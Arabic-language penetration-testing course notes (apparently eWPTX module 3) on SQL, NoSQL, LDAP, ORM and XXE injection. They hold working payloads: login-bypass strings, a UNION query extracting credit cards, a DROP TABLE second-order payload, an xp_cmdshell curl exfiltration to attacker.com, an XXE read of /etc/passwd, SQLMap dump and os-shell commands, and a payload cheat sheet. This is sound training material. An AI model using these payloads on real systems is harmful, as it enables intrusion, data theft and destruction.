هجمات الحقن المتقدمة (Advanced Injection Attacks)

01مقدمة في هجمات الحقن

تعريف هجمات الحقن (Injection Attacks)

بتحدث لما التطبيق يعالج مدخلات غير موثوقة بشكل غير صحيح، وده بيسمح للمهاجم يحقن كود أو أوامر خبيثة في مسار تنفيذ التطبيق — الاستغلال بيتلاعب في طريقة تفاعل التطبيق مع الأنظمة الأساسية زي قواعد البيانات أو أنظمة الملفات أو نظام التشغيل.

أنواع ثغرات الحقن

انتشار وأثر هجمات الحقن

من أعلى الثغرات ترتيبًا في OWASP Top 10 لسنوات متتالية (المرتبة #1 في 2017 والمرتبة #3 في 2021). بتؤثّر على تطبيقات عبر كل الصناعات — تجارة إلكترونية، مالية، رعاية صحية، وأكتر — وبتظهر بكثرة في RESTful وSOAP APIs. أدوات آلية زي SQLMap بتسهّل اكتشاف واستغلال ثغرات الحقن على نطاق واسع.

02مقدمة في SQL Injection

ثغرة حقن بتحدث لما المهاجم يحقن تعليمات SQL خبيثة في حقول إدخال التطبيق — بسبب عدم تحقّق التطبيق من المدخلات بشكل صحيح، مما يسمح بحقن كود/استعلامات SQL تتلاعب في قاعدة البيانات أو تمنح وصول لمعلومات حساسة.

تاريخ موجز

المصطلح صكّه Jeff Forristal ("Rain Forest Puppy") في ورقة بحثية بمؤتمر DefCon 8 سنة 2000. أبرز الحوادث: اختراق شبكة وزارة الطاقة الأمريكية (1998)، سرقة بيانات بطاقات ائتمان من CD Universe (2000 — أول هجوم موثَّق علنًا)، اختراق قاعدة بيانات الأمم المتحدة (2002)، تسريب 6.5 مليون كلمة مرور من LinkedIn (2012)، وتسريب بيانات Ashley Madison (2015).

تأثير SQL Injection (CIA Triad)

03أنواع ثغرات SQL Injection

In-Band SQL Injection

النوع الأكثر شيوعًا — المهاجم بيستخدم نفس قناة الاتصال لإرسال الهجوم واستلام النتائج. خطير جدًا لأنه ممكن يُستخدَم لسرقة بيانات حساسة أو تعديل/حذف البيانات أو الاستيلاء الكامل على التطبيق أو السيرفر. ينقسم إلى:

• Error-Based: حقن كود بيتسبّب في رسالة خطأ من التطبيق — الرسالة ممكن تحتوي معلومات قيّمة عن بنية قاعدة البيانات أو محتواها
• Union-Based: استخدام عامل UNION لدمج نتائج استعلامين أو أكتر في نتيجة واحدة، لاستخراج بيانات غير مصرَّح بالوصول لها

Blind SQL Injection

التطبيق مش بيُرجع معلومات أو رسائل خطأ مفيدة مباشرة في الاستجابة. المهاجم بيستنتج معلومات عن قاعدة البيانات عبر تقنيات غير مباشرة. ينقسم إلى:

• Boolean-Based: استغلال استجابة التطبيق لشروط منطقية (صح/خطأ) لاستنتاج معلومات — مثلًا سؤال "هل المستخدم john موجود؟" والاستجابة true أو false
• Time-Based: استغلال وقت استجابة التطبيق — حقن استعلام بيتسبّب في تأخير، وقياس الوقت المستغرق للاستجابة

Out-of-Band SQL Injection

الأقل شيوعًا — المهاجم بيستخرج بيانات من قاعدة البيانات عبر قناة مختلفة تمامًا عن التطبيق نفسه، بدون الحاجة لاستلام أي استجابة مباشرة من التطبيق. يُستخدَم عبر إرسال طلبات HTTP لسيرفر يتحكّم فيه المهاجم أو عبر استعلامات DNS لاستخراج البيانات.

04البحث عن ثغرات SQL Injection

الحقول القابلة للحقن الشائعة

الحقن حسب نوع البيانات (Integer vs String)

استغلال علامة الاقتباس المفردة (')

# الاستعلام الأصلي:
SELECT * FROM users WHERE username = '<username>' AND password = '<password>'

# الحمولة المحقونة في username:
' OR '1'='1'; --

# الاستعلام بعد الحقن:
SELECT * FROM users WHERE username = '' OR '1'='1'; -- ' AND password = '<password>'
# الشرط '1'='1' دايمًا صح → تجاوز المصادقة

بصمة قاعدة البيانات (Database Fingerprinting)

كل DBMS بيستجيب لاستعلامات خاطئة برسائل خطأ مختلفة — مثلًا MS-SQL بترجّع Incorrect syntax near [query]، بينما MySQL بترجّع You have an error in your SQL syntax.... الفرق ده بيساعد في تحديد نوع قاعدة البيانات المستهدَفة.

05استغلال Error-Based SQL Injection

تقنية بتعتمد على التسبّب المتعمَّد في أخطاء قاعدة بيانات واستخدام رسائل الخطأ المُرجَعة لاستخراج معلومات أو الحصول على وصول غير مصرَّح به.

06استغلال Union-Based SQL Injection

يستغل القدرة على استخدام عامل UNION في استعلامات SQL — يحدث لما التطبيق يفشل في التحقّق أو تنقية مدخلات المستخدم، ويسمح بحقن كود SQL خبيث في الاستعلام. يتطلّب تطابق عدد الأعمدة وأنواع بياناتها بين جمل SELECT المدموجة.

# الاستعلام الأصلي:
SELECT id, name FROM users WHERE id = '<user_input>'

# الحمولة المحقونة:
' UNION SELECT credit_card_number, 'hack' FROM credit_cards --

# الاستعلام بعد الحقن:
SELECT id, name FROM users WHERE id = '' UNION SELECT credit_card_number, 'hack' FROM credit_cards --
# النتيجة هتشمل أرقام بطاقات ائتمان بجانب بيانات المستخدم الأصلية

منهجية الاستغلال

1. تحديد مدخلات المستخدم المستخدَمة في استعلامات قاعدة البيانات
2. اختبار المدخلات بحقن Payload بسيط (علامة اقتباس) وملاحظة الأخطاء أو السلوك غير المتوقَّع
3. تحديد نقاط حقن عرضة — تجربة UNION SELECT أو شروط منطقية ومراقبة الفرق
4. تأكيد الثغرة بحقن UNION SELECT كامل — لو الاستجابة فيها أعمدة أو بيانات إضافية، الثغرة مؤكَّدة
5. تعداد قاعدة البيانات — حقن UNION SELECT بأسماء أعمدة وجداول مناسبة لاستخراج بنية قاعدة البيانات، باستخدام ORDER BY أو LIMIT لتضييق النتائج

07استغلال Blind SQLi (Boolean & Time-Based)

Time-Based SQL Injection

تقنية بتعتمد على التلاعب في استعلامات SQL لإدخال تأخيرات — المهاجم بيستنتج معلومات عن قاعدة البيانات بقياس التأخير في استجابة التطبيق.

# الاستعلام الأصلي:
SELECT * FROM users WHERE username = '[username]' AND password = '[password]';

# الحمولة في حقل username:
' OR SLEEP(5) -- '

# الاستعلام بعد الحقن:
SELECT * FROM users WHERE username = '' OR SLEEP(5) -- ' AND password = '[password]';
# لو السيرفر استغرق 5 ثوانٍ إضافية في الاستجابة → نقطة الحقن عرضة لـ Time-Based SQLi

Boolean-Based Blind SQL Injection

المهاجم بيستغل استجابة التطبيق لشروط منطقية لاستنتاج معلومات عن قاعدة البيانات — بيبعت استعلام SQL خبيث ويقيّم الاستجابة حسب نجاح أو فشل تنفيذ الاستعلام. بسؤال سلسلة من الأسئلة صح/خطأ وتحليل الاستجابات، المهاجم يقدر يبني تدريجيًا صورة كاملة عن بنية ومحتوى قاعدة البيانات.

08منهجية اختبار SQL Injection الكاملة

09أساسيات SQLMap

أداة مفتوحة المصدر بتؤتمت عملية اكتشاف واستغلال ثغرات SQL Injection في تطبيقات الويب — بتدعم قواعد بيانات علائقية (MySQL، PostgreSQL، MSSQL، Oracle، SQLite، MariaDB) ودعم تجريبي لقواعد NoSQL (MongoDB، CouchDB).

سير عمل SQLMap الأساسي

sqlmap -u <URL> -p <Injection Parameter> [options]

# استهداف POST مع بيانات نموذج:
sqlmap -u "http://example.com/login.php" --data="username=admin&password=123"

# استخدام كوكي جلسة للمصادقة:
sqlmap -u "http://example.com/product.php?id=1" --cookie="PHPSESSID=abc123"

10SQLMap — التعداد والاستخدام المتقدم

تعداد قاعدة البيانات

sqlmap -u <target> --banner           # بصمة/اسم قاعدة البيانات
sqlmap -u <target> --users            # تعداد مستخدمي DBMS
sqlmap -u <target> --is-dba           # هل المستخدم الحالي DBA؟
sqlmap -u <target> --dbs              # سرد قواعد البيانات
sqlmap -u <target> -D users_db --tables           # سرد الجداول
sqlmap -u <target> -D users_db -T user_credentials --columns  # سرد الأعمدة
sqlmap -u <target> -D users_db -T user_credentials --dump     # استخراج البيانات

تحديد تقنية الحقن (--technique)

خيارات --level و --risk

• --level (1-3): عمق الاختبار — 1 (افتراضي: GET/POST بس)، 2 (يشمل Headers زي Cookies وUser-Agent)، 3 (معاملات إضافية زي Referer وHeaders مخصَّصة)
• --risk (1-3): عدوانية الاختبار — 1 (افتراضي: اختبارات غير مدمّرة)، 2 (استعلامات ممكن تأثّر بسيط على السيرفر)، 3 (إجراءات مزعزعة محتملة زي Stacked Queries أو عمليات تستغرق وقت طويل)

# استخدام طلب مُعترَض من Burp:
sqlmap -r <request_file> -p parameter [options]

# أهم الخيارات:
--fingerprint        تحديد نوع وإصدار DBMS
--tamper=<script>    تطبيق سكريبتات Tamper لتجاوز WAF
--os-shell           فتح شل نظام تشغيل لو ممكن
--file-read=<path>   قراءة ملفات من سيرفر الهدف
--batch              تشغيل بدون تفاعل (بدون أسئلة)

11حقن SQL خارج النطاق (OOB SQLi)

نوع من SQLi المهاجم فيه مش بيعتمد على استجابة مباشرة (In-Band) من التطبيق — بدل كده، بيخلّي قاعدة البيانات تتواصل مع سيرفر خارجي يتحكّم فيه، عبر قنوات زي DNS أو HTTP، لتسريب بيانات أو تأكيد الثغرة. مفيد جدًا لما التطبيق مش بيعرض رسائل خطأ، أو الاستجابات مش قابلة للملاحظة، أو قاعدة البيانات الهدف قادرة على إرسال طلبات صادرة.

كيف يعمل

1. تحديد نقطة إدخال عرضة للحقن
2. صياغة Payload خبيث يجبر قاعدة البيانات على إرسال طلب DNS أو HTTP خارجي
3. إعداد سيرفر خارجي (DNS أو HTTP) لمراقبة والتقاط الطلبات الصادرة
4. عند معالجة قاعدة البيانات للـ Payload، بتبعت طلب لسيرفر المهاجم — مسرّبة بيانات أو مؤكّدة الثغرة

# المعامل الهدف:
http://example.com/product.php?id=1

# الحمولة (MySQL LOAD_FILE):
1' UNION SELECT LOAD_FILE('\\\\attacker.dnslog.cn\\file') --

# مراقبة سجلات DNS Server (مثل dnslog.cn):
Query: attacker.dnslog.cn   ← تأكيد الثغرة

# الحمولة (MSSQL xp_cmdshell):
'; EXEC xp_cmdshell 'curl http://attacker.com?data=(SELECT@@version)' --

# ما يصل لسيرفر المهاجم (مثلًا Burp Collaborator أو Ngrok):
GET /?data=Microsoft SQL Server 2019

12حقن SQL من الدرجة الثانية (Second-Order)

الفرق عن First-Order SQLi

في SQLi التقليدي (First-Order)، المهاجم بيبعت مدخل خبيث مباشرة، والتطبيق بيعالجه ويرجّع استجابة فورية قابلة للاستغلال — التفاعل زي نظام "تحدي-استجابة" فوري. Second-Order SQLi مختلف: الـ Payload مش بيتنفّذ فورًا عند الحقن الأولي — بدل كده بيتخزّن في قاعدة البيانات وبيتنفّذ لاحقًا لما استعلام أو وظيفة تانية في التطبيق تعالجه.

# مرحلة 1 — التسجيل بـ username خبيث (يُخزَّن كنص بعد تنظيفه ظاهريًا):
'); DROP TABLE users; --

# مرحلة 2 — لما الأدمن يعرض بيانات المستخدم لاحقًا، التطبيق بيبني استعلام:
SELECT * FROM users WHERE username = ''); DROP TABLE users; --';

# الحمولة بتتنفّذ الآن → جدول users يُحذَف بالكامل

13أساسيات NoSQL وحقنها

مقدمة في قواعد بيانات NoSQL

نهج غير علائقي لتخزين واسترجاع البيانات — أكثر مرونة من قواعد البيانات العلائقية التقليدية، بيتعامل مع بيانات غير مهيكلة وشبه مهيكلة وسريعة التطوّر. ظهرت لتلبية الحاجة لقابلية التوسّع والأداء والمرونة.

حقن NoSQL (مثال MongoDB)

بيحدث لما المهاجم يتلاعب في استعلام قاعدة بيانات NoSQL عبر حقن مدخلات خبيثة — بيستغل ضعف معالجة التطبيق لمدخلات المستخدم المرسَلة إليه.

// الاستعلام العادي:
var query = { username: username, password: password };
var result = db.users.findOne(query);

// حمولة المهاجم في حقل username:
username: { $gt: "" }

// $gt (أكبر من) بقيمة فارغة بيتلاعب في منطق الاستعلام
// وبيرجّع أول سجل مستخدم في قاعدة البيانات — تجاوز تسجيل الدخول

14مقدمة في LDAP وحقنه

ما هو LDAP؟

Lightweight Directory Access Protocol — بروتوكول لتعديل والاستعلام عن خدمات الدليل عبر TCP/IP. خدمة الدليل نظام شبيه بقاعدة بيانات متخصّصة بتخزّن وتنظّم البيانات في بنية هرمية — شائعة في بيئات المؤسسات لإدارة حسابات المستخدمين والمجموعات والصلاحيات.

بنية دليل LDAP

مُنظَّمة كشجرة هرمية (Directory Information Tree / DIT) — كل إدخال بيمثّل كائن واحد (مستخدم، مجموعة، مورد)، معرَّف بـ Distinguished Name (DN) فريد زي cn=John Doe,ou=Users,dc=example,dc=com، وموصوف بخصائص (Attributes) زي cn وmail.

صيغة LDAP (Syntax)

بتستخدم معاملات: = (يساوي)، | (أو منطقي)، ! (ليس منطقي)، & (و منطقي)، * (Wildcard). مثال: (cn=J*) بيجيب كل الإدخالات اللي الاسم فيها يبدأ بـ J.

حقن LDAP

بيحدث لما مدخلات المستخدم تُدمَج في استعلام LDAP بدون تنقية أو تحقّق مناسب — ده بيسمح للمهاجم يتلاعب في بنية الاستعلام، مما يؤدي لوصول غير مصرَّح أو تجاوز المصادقة أو استخراج معلومات دليل حساسة.

# الاستعلام الأصلي:
(&(uid={username})(password={password}))

# حقن المهاجم في username:
*)(uid=*)

# الاستعلام الناتج:
(&(uid=*)(uid=*)(password={password}))
# *) بتقفل الفلتر الأصلي مبكرًا وبتضيف شرط Wildcard جديد
# → مطابقة كل المستخدمين → تجاوز المصادقة

15مقدمة في ORM وحقنه

ما هو ORM؟

Object-Relational Mapping — تقنية برمجية بتربط الأوبجكتس في التطبيق بجداول قاعدة البيانات، بتجرّد عمليات قاعدة البيانات وبتخلّي المطوّرين يتفاعلوا مع قاعدة البيانات بمفاهيم البرمجة الكائنية بدل كتابة SQL خام. أمثلة شائعة: SQLAlchemy (Python)، Hibernate (Java)، Entity Framework (.NET)، Django ORM، Eloquent (PHP).

ليه نستخدم ORM

• جسر بين الكود الكائني وقواعد البيانات العلائقية
• تبسيط عمليات CRUD بدون الحاجة لمعرفة SQL مباشرة
• تقليل الكود المتكرّر وزيادة إنتاجية المطوّرين
• استقلالية قاعدة البيانات — نفس الكود يشتغل عبر محركات مختلفة
• تحسين الأمان عبر آليات زي Parameterized Queries المدمجة

حقن ORM

نوع من الحقن يستهدف تطبيقات بتستخدم إطار ORM — بيحدث لما مدخلات مستخدم غير موثوقة تُمرَّر بدون تنقية مناسبة لدوال استعلام ORM، مما يسمح للمهاجم يتلاعب في استعلام SQL المُولَّد من ORM في الخلفية.

# كود عرضة (بناء استعلام ديناميكي بدمج نصوص):
user = User.query.filter(f"username = '{username}' AND password = '{password}'").all()

# حمولة المهاجم:
# username: admin' OR '1'='1
# password: (أي قيمة)

# الاستعلام الناتج:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything';
# الشرط OR '1'='1' دايمًا صح → تجاوز مصادقة وتسجيل دخول كأول مستخدم في القاعدة

16مقدمة في XML وحقنه

ما هو XML؟

eXtensible Markup Language — لغة ترميز لتخزين ونقل البيانات بصيغة قابلة للقراءة ومستقلة عن المنصّة. لسه حي ومنتشر رغم ظهور بدائل زي YAML وJSON، وله استخدامات عملية واسعة (PDF، RSS، OOXML، SVG، وبروتوكولات زي SOAP وWebDAV).

بنية XML وDTD

مستندات XML بتُنظَّم كشجرة هرمية تبدأ من عنصر جذر واحد. DTD (Document Type Definition) بيحدّد بنية وعناصر وخصائص المستند — مستند XML بصياغة صحيحة يُسمى "Well Formed"، ولو اتحقّق مقابل DTD يُسمى "Valid" كمان.

XML Injection

ثغرة بتحدث لما المهاجم يتلاعب في مدخلات المستخدم لحقن بيانات XML خبيثة في مستند أو استعلام XML — ممكن تؤدّي لوصول غير مصرَّح، تسريب بيانات، أو تلاعب في سلوك التطبيق.

XML Tag Injection — مثال

<user>
  <username>admin</username>
  <role><admin/></role>
</user>
<!-- حقن تاغ <admin/> ممكن يخدع التطبيق ويمنح المهاجم صلاحيات إدارية -->

17XML External Entity (XXE)

أخطر نوع من هجمات XML Injection — بيحدث لما محلّل XML يعالج كيانات خارجية (External Entities) مُشار إليها في مستند XML، مما يسمح بـ: كشف بيانات (قراءة ملفات حساسة على السيرفر)، حرمان من الخدمة (إثقال السيرفر بحمولات خبيثة)، وSSRF (الوصول لموارد داخلية أو خارجية).

الكيانات الخاصة مقابل العامة

الكيانات الخاصة (Private) محصورة بمؤلف أو مجموعة مؤلفين، والكيانات العامة (Public) مصمَّمة لاستخدام أوسع. الكيانات الخاصة هي الأخطر لأنها بتسمح بكشف ملفات النظام المحلي والتلاعب في مخططات الشبكة والتطبيقات الداخلية.

استغلال XXE — تضمين الموارد (Resource Inclusion)

<!DOCTYPE message [
  <!ENTITY xxefile SYSTEM "file:///etc/passwd">
]>
<message>
  <body>&xxefile;</body>
</message>

<!-- عند معالجة الرسالة، المستلم هيشوف محتوى /etc/passwd جوه جسم الرسالة -->

--خريطة قرار اختيار نوع الحقن

• ابدأ دايمًا بتحديد التقنية الخلفية (Backend) — حقن SQL مختلف تمامًا عن NoSQL أو LDAP أو XML، وPayload الخاطئ هيضيّع وقتك
• المدخل اللي بيقبل علامة اقتباس مفردة بدون خطأ واضح مش دايمًا معناه آمن — جرّب Boolean وTime-Based كطبقة تانية
• لو التطبيق بيعرض رسائل خطأ واضحة، ابدأ بـ Error-Based — الأسرع في استخراج المعلومات
• لو مفيش أي استجابة ملحوظة، انتقل لـ OOB عبر DNS/HTTP Collaborator بدل ما تفترض إن الثغرة مش موجودة
• لا تنسَ Second-Order — افحص أي مكان بيانات المستخدم بتتخزّن وتُستخدَم لاحقًا في استعلام مختلف

--Cheat Sheet مرجعي

' OR '1'='1
' OR 1=1 --
" OR 1=1 --
' OR 'x'='x
admin' --
admin' #
' having 1=1 --
' AND id IS NULL; --
' OR '1'='1' /* -- MySQL
' OR '1'='1' %00

sqlmap -u "" --dbs
sqlmap -u "" -D  --tables
sqlmap -u "" -D  -T  --dump
sqlmap -u "" --technique=B
sqlmap -u "" --level=3 --risk=2
sqlmap -u "" --os-shell

الخلاصة العامة للموديول

الموديول ده غطّى أخطر فئة ثغرات الويب بعمق — من أساسيات SQL Injection وأتمتتها بـ SQLMap، مرورًا بتقنيات OOB وSecond-Order المتقدّمة، ووصولًا لـ NoSQL وLDAP وORM وXXE.

الفكرة الجوهرية للموديول: هجمات الحقن كلها، بغضّ النظر عن التقنية الخلفية، مبنية على نفس المبدأ — ثقة زائدة في مدخلات المستخدم بدون تحقّق أو تنقية كافية. المختبر المحترف بيفكّر في كل حقل إدخال كبوابة محتملة لنظام خلفي، مهما كانت الطبقة اللي بتفصلهم (ORM، API، أو أي تجريد آخر).

نهاية نوتس الموديول الثالث — Advanced Injection Attacks (eWPTXv3)